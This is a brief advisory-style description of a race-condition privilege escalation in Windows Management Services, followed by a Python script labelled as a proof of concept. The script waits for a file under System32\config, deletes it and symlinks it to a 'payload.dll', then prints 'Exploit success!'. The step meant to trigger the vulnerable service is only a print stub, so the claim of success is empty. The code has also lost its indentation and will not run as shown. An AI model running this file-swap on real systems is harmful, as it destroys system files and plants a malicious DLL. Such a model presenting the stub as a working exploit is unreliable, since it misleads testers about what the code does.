Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
import threading
import os
import time
# PoC Simulation for Race Condition in Windows Management Services
# This script demonstrates a theoretical exploitation of a TOCTOU vulnerability.
TARGET_FILE = "C:\\Windows\\System32\\config\\target_service.dat"
MALICIOUS_DLL = "C:\\temp\\payload.dll"
def attacker_thread():
print("[+] Attacker thread started: Waiting for race window...")
while True:
try:
# Simulate checking for the existence of the file
if os.path.exists(TARGET_FILE):
# Attempt to swap the file during the service's processing gap
print("[*] Race window detected, attempting file swap...")
os.remove(TARGET_FILE)
# Create a symbolic link or drop malicious payload
os.symlink(MALICIOUS_DLL, TARGET_FILE)
print("[+] Exploit success! Malicious link created.")
break
except Exception as e:
# Handle race loss or permission issues silently in loop
pass
def trigger_service_thread():
print("[*] Service thread started: Triggering vulnerable operation...")
time.sleep(0.5) # Delay to simulate service initialization
# In a real scenario, this would invoke the specific Windows Management API
print("[*] Service accessing shared resource...")
if __name__ == "__main__":
t1 = threading.Thread(target=attacker_thread)
t2 = threading.Thread(target=trigger_service_thread)
t1.start()
t2.start()
t1.join()
t2.join()